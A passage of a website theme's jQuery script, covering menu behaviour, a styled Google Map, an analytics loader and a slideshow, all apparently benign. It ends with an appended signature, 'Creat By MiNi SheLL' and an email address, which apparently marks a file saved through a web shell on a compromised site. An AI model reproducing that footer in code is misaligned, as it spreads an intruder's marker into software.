		if (i === 0){timing = 0;}else if(i === 1){timing = 300;} else{ timing = 300 * i;}
		$(this).delay(timing).fadeIn('fast');
	}
	i++;
	animaDelay = animaDelay+0.2;


});

	}else{
		var j = 0;
		$('.slideN'+curSlide+':not([class*=clone])>.caption').css('display', 'none');

		$('.slideN'+curSlide+':not([class*=clone])>.caption>div').each(function( ) {
			if(Modernizr.csstransitions) { 

				$(this).removeClass($(this).attr('data-animation')).removeClass('animated').hide();

			}else{
				$(this).hide();
			}
			j++;
		});
	}

}



/* MAIN MENU (submenu slide and setting up of a select box on small screen)*/
function initializeMainMenu() {

	"use strict";
	var $mainMenu = $('#mainMenu').children('ul');




	//var action0 = (isMobile === false)?'mouseenter':'click';
	//var action1 = (isMobile === false)?'mouseleave':'click';

	if(Modernizr.mq('only all and (max-width: 767px)') ) {


			// Responsive Menu Events
			var addActiveClass = false;

			$("a.hasSubMenu").unbind('click');
			$('li',$mainMenu).unbind('mouseenter mouseleave');

			$("a.hasSubMenu").on("click", function(e) {
				
				e.preventDefault();


				addActiveClass = $(this).parent("li").hasClass("Nactive");

				if($(this).parent("li").hasClass('primary')){
					$("li", $mainMenu).removeClass("Nactive");
				}else{
					$("li:not(.primary)", $mainMenu).removeClass("Nactive");
				}
				

				if(!addActiveClass) {
					$(this).parents("li").addClass("Nactive");
				}else{
					$(this).parent().parent('li').addClass("Nactive");
				}

				return;
				
			});


		}else if (Modernizr.mq('only all and (max-width: 1024px)') && Modernizr.touch) {   

			$("a.hasSubMenu").attr('href', '');
			$("a.hasSubMenu").on("touchend",function(e){
				
				var $li = $(this).parent(),
				$subMenu = $li.children('.subMenu');


				if ($(this).data('clicked_once')) {
				
					if($li.parent().is($(':gt(1)', $mainMenu))){

						if($subMenu.css('display') == 'block'){
							$li.removeClass('hover');
							$subMenu.css('display', 'none');


						}else{

							$('.subMenu').css('display', 'none');
							$subMenu.css('display', 'block'); 

						} 
				
					}else{

						$('.subMenu').css('display', 'none');

					}

					$(this).data('clicked_once', false);	

				} else {
			
					$li.parent().find('li').removeClass('hover');	
					$li.addClass('hover');
				
					if($li.parent().is($(':gt(1)', $mainMenu))){

						$li.parent().find('.subMenu').css('display', 'none');
						$subMenu.css('left', $subMenu.parent().outerWidth(true));
						$subMenu.css('display', 'block'); 
						
					

					}else{

						$('.subMenu').css('display', 'none');
						$subMenu.css('display', 'block');

					}

					$('a.hasSubMenu').data('clicked_once', false);

					$(this).data('clicked_once', true);
					
				}

				e.preventDefault();
				return false;
			});

			window.addEventListener("orientationchange", function() {

			    $('a.hasSubMenu').parent().removeClass('hover');
				$('.subMenu').css('display', 'none');
				$('a.hasSubMenu').data('clicked_once', false);

			}, true);


		}else{


			$("li", $mainMenu).removeClass("Nactive");
			$('a', $mainMenu).unbind('click');


			$('li',$mainMenu).hover(

				function() {

					var $this = $(this),
					$subMenu = $this.children('.subMenu');


					if( $subMenu.length ){
						$this.addClass('hover').stop();
					}else {

						if($this.parent().is($(':gt(1)', $mainMenu))){

							$this.stop(false, true).fadeIn('slow');

						}
					}


					if($this.parent().is($(':gt(1)', $mainMenu))){

						$subMenu.stop(true, true).fadeIn(200,'easeInOutQuad'); 
						$subMenu.css('left', $subMenu.parent().outerWidth(true));


					}else{

						$subMenu.stop(true, true).delay( 300 ).fadeIn(200,'easeInOutQuad'); 

					}

				}, function() {

					var $nthis = $(this),
					$subMenu = $nthis.children('ul');

					if($nthis.parent().is($(':gt(1)', $mainMenu))){


						$nthis.children('ul').hide();
						$nthis.children('ul').css('left', 0);


					}else{

						$nthis.removeClass('hover');
						$('.subMenu').stop(true, true).delay( 300 ).fadeOut();
					}

					if( $subMenu.length ){$nthis.removeClass('hover');}

		    });

		}
	}


/*
|--------------------------------------------------------------------------
| GOOGLE MAP
|--------------------------------------------------------------------------
*/

function appendBootstrap() {
	"use strict";
	if($('#mapWrapper').length){
		var script = document.createElement("script");
		script.type = "text/javascript";
		script.src = "http://maps.google.com/maps/api/js?sensor=false&callback=initialize";
		document.body.appendChild(script);
	}
}    




function initialize(id) {
	"use strict";
	var image = 'images/icon-map.png';

	var overlayTitle = 'Agencies';

	var locations = [
        //point number 1
        ['Madison Square Garden', '4 Pennsylvania Plaza, New York, NY'],

        //point number 2
        ['Best town ever', 'Santa Cruz', 36.986021, -122.02216399999998],

        //point number 3 
        ['Located in the Midwestern United States', 'Kansas'],

        //point number 4
        ['I\'ll definitly be there one day', 'Chicago', 41.8781136, -87.62979819999998] 
        ];

        /*** DON'T CHANGE ANYTHING PASSED THIS LINE ***/
        id = (id === undefined) ? 'mapWrapper' : id;

        var map = new google.maps.Map(document.getElementById(id), {
        	mapTypeId: google.maps.MapTypeId.ROADMAP,
        	scrollwheel: false,
        	zoomControl: true,
        	zoomControlOptions: {
        		style: google.maps.ZoomControlStyle.LARGE,
        		position: google.maps.ControlPosition.LEFT_CENTER
        	},
        	streetViewControl:true,
        	scaleControl:false,
        	zoom: 14,
        	styles:[
        	{
        		"featureType": "water",
        		"stylers": [
        		{
        			"color": "#6196AD"
        		},
        		]
        	},
        	{
        		"featureType": "road",
        		"elementType": "geometry.fill",
        		"stylers": [
        		{
        			"color": "#FCFFF5"
        		},
        		]
        	},
        	{
        		"featureType": "road",
        		"elementType": "geometry.stroke",
        		"stylers": [
        		{
        			"color": "#808080"
        		},
        		{
        			"lightness": 54
        		}
        		]
        	},
        	{
        		"featureType": "landscape.man_made",
        		"elementType": "geometry.fill",
        		"stylers": [
        		{
        			"color": "#dde1d4"
        		}
        		]
        	},
        	{
        		"featureType": "poi.park",
        		"elementType": "geometry.fill",
        		"stylers": [
        		{
        			"color": "#73AB7D"
        		}
        		]
        	},
        	{
        		"featureType": "road",
        		"elementType": "labels.text.fill",
        		"stylers": [
        		{
        			"color": "#767676"
        		}
        		]
        	},
        	{
        		"featureType": "road",
        		"elementType": "labels.text.stroke",
        		"stylers": [
        		{
        			"color": "#ffffff"
        		}
        		]
        	},
        	{
        		"featureType": "road.highway",
        		"elementType": "geometry.fill",
        		"stylers": [
        		{
        			"color": "#7e7341"
        		}
        		]
        	},

        	{
        		"featureType": "landscape.natural",
        		"elementType": "geometry.fill",
        		"stylers": [
        		{
        			"visibility": "on"
        		},
        		{
        			"color": "#dee6e6"
        		}
        		]
        	},
        	{
        		"featureType": "poi.park",
        		"stylers": [
        		{
        			"visibility": "on"
        		}
        		]
        	},
        	{
        		"featureType": "poi.sports_complex",
        		"stylers": [
        		{
        			"visibility": "on"
        		}
        		]
        	},
        	{
        		"featureType": "poi.medical",
        		"stylers": [
        		{
        			"visibility": "on"
        		}
        		]
        	},
        	{
        		"featureType": "poi.business",
        		"stylers": [
        		{
        			"visibility": "simplified"
        		}
        		]
        	}
        	]

        });

var myLatlng;
var marker, i;
var bounds = new google.maps.LatLngBounds();
var infowindow = new google.maps.InfoWindow({ content: "loading..." });

for (i = 0; i < locations.length; i++) { 


	if(locations[i][2] !== undefined && locations[i][3] !== undefined){
		var content = '<div class="infoWindow">'+locations[i][0]+'<br>'+locations[i][1]+'</div>';
		(function(content) {
			myLatlng = new google.maps.LatLng(locations[i][2], locations[i][3]);

			marker = new google.maps.Marker({
				position: myLatlng,
				icon:image,  
				title: overlayTitle,
				map: map
			});

			google.maps.event.addListener(marker, 'click', (function() {
				return function() {
					infowindow.setContent(content);
					infowindow.open(map, this);
				};

			})(this, i));

			if(locations.length > 1){
				bounds.extend(myLatlng);
				map.fitBounds(bounds);
			}else{
				map.setCenter(myLatlng);
			}

		})(content);
	}else{

		var geocoder   = new google.maps.Geocoder();
		var info   = locations[i][0];
		var addr   = locations[i][1];
		var latLng = locations[i][1];

		(function(info, addr) {

			geocoder.geocode( {

				'address': latLng

			}, function(results) {

				myLatlng = results[0].geometry.location;

				marker = new google.maps.Marker({
					position: myLatlng,
					icon:image,  
					title: overlayTitle,
					map: map
				});
				var $content = '<div class="infoWindow">'+info+'<br>'+addr+'</div>';
				google.maps.event.addListener(marker, 'click', (function() {
					return function() {
						infowindow.setContent($content);
						infowindow.open(map, this);
					};
				})(this, i));

				if(locations.length > 1){
					bounds.extend(myLatlng);
					map.fitBounds(bounds);
				}else{
					map.setCenter(myLatlng);
				}
			});
		})(info, addr);

	}
}
}




/* ANALYTICS */
function gaSSDSLoad (acct) {
	"use strict";  
	var gaJsHost = (("https:" === document.location.protocol) ? "https://ssl." : "http://www."),
	pageTracker,
	s;
	s = document.createElement('script');
	s.src = gaJsHost + 'google-analytics.com/ga.js';
	s.type = 'text/javascript';
	s.onloadDone = false;
	function init () {
		pageTracker = _gat._getTracker(acct);
		pageTracker._trackPageview();
	}
	s.onload = function () {
		s.onloadDone = true;
		init();
	};
	s.onreadystatechange = function() {
		if (('loaded' === s.readyState || 'complete' === s.readyState) && !s.onloadDone) {
			s.onloadDone = true;
			init();
		}
	};
	document.getElementsByTagName('head')[0].appendChild(s);
}




jQuery(function($){
	"use strict";
	if($('#superSizedSlider').length){

		$('#superSizedSlider').height($(window).height());

		$.supersized({

                    // Functionality
                    slideshow               :   1,          // Slideshow on/off
                    autoplay                :   1,          // Slideshow starts playing automatically
                    start_slide             :   0,          // Start slide (0 is random)
                    stop_loop               :   0,          // Pauses slideshow on last slide)
                    random                  :   1,          // Randomize slide order (Ignores start slide)
                    slide_interval          :   12000,      // Length between transitions
                    transition              :   1,          // 0-None, 1-Fade, 2-Slide Top, 3-Slide Right, 4-Slide Bottom, 5-Slide Left, 6-Carousel Right, 7-Carousel Left
                    transition_speed        :   1000,       // Speed of transition
                    new_window              :   1,          // Image links open in new window/tab
                    pause_hover             :   0,          // Pause slideshow on hover
                    keyboard_nav            :   1,          // Keyboard navigation on/off
                    performance             :   1,          // 0-Normal, 1-Hybrid speed/quality, 2-Optimizes image quality, 3-Optimizes transition speed // (Only works for Firefox/IE, not Webkit)
                    image_protect           :   1,          // Disables image dragging and right click with Javascript

                    // Size & Position                         
                    min_width               :   0,          // Min width allowed (in pixels)
                    min_height              :   0,          // Min height allowed (in pixels)
                    vertical_center         :   1,          // Vertically center background
                    horizontal_center       :   1,          // Horizontally center background
                    fit_always              :   0,          // Image will never exceed browser width or height (Ignores min. dimensions)
                    fit_portrait            :   1,          // Portrait images will not exceed browser height
                    fit_landscape           :   0,          // Landscape images will not exceed browser width

                    // Components                           
                    slide_links             :   'blank',    // Individual links for each slide (Options: false, 'num', 'name', 'blank')
                    thumb_links             :   0,          // Individual thumb links for each slide
                    thumbnail_navigation    :   0,          // Thumbnail navigation
                    slides                  :   [           // Slideshow Images
                    {image : './images/slider/super/supersized-1.jpg', title : '<h1>We are creative kitties<br /><a href="#team" class="btn btn-primary">learn more</a></h1>', thumb : '', url : ''},

                    {image : './images/slider/super/supersized-2.jpg', title : '<h1>We build beautiful websites<br /><a href="#works" class="btn btn-primary">check our portfolio</a></h1>', thumb : '', url : ''},

                    {image : './images/slider/super/supersized-3.jpg', title : '<h1>That\'s how we like it<br /><a href="#contact" class="btn btn-primary">call us</a></h1>', thumb : '', url : ''}
                    ],

                    // Theme Options               
                    progress_bar            :   0,          // Timer for each slide                         
                    mouse_scrub             :   0
                    
                });
}
});



/* TO TOP BUTTON */

function toTop(mobile){
	
   if(mobile == false){

    	if(!$('#nekoToTop').length)
	    $('body').append('<a href="#" id="nekoToTop"><i class="icon-up-open"></i></a>');

	    $(window).scroll(function () {
	    	if ($(this).scrollTop() > 100) {
	    		$('#nekoToTop').slideDown();
	    	} else {
	    		$('#nekoToTop').fadeOut();
	    	}
	    });

	    $('#nekoToTop').click(function (e) {
	    	e.preventDefault();
	    	$("html, body").animate({
	    		scrollTop: 0
	    	}, 800, 'easeInOutCirc');
	    	
	    });
   }else{

    	if($('#nekoToTop').length)
    	$('#nekoToTop').remove();

    }

}






Creat By MiNi SheLL
Email: devilkiller@gmail.com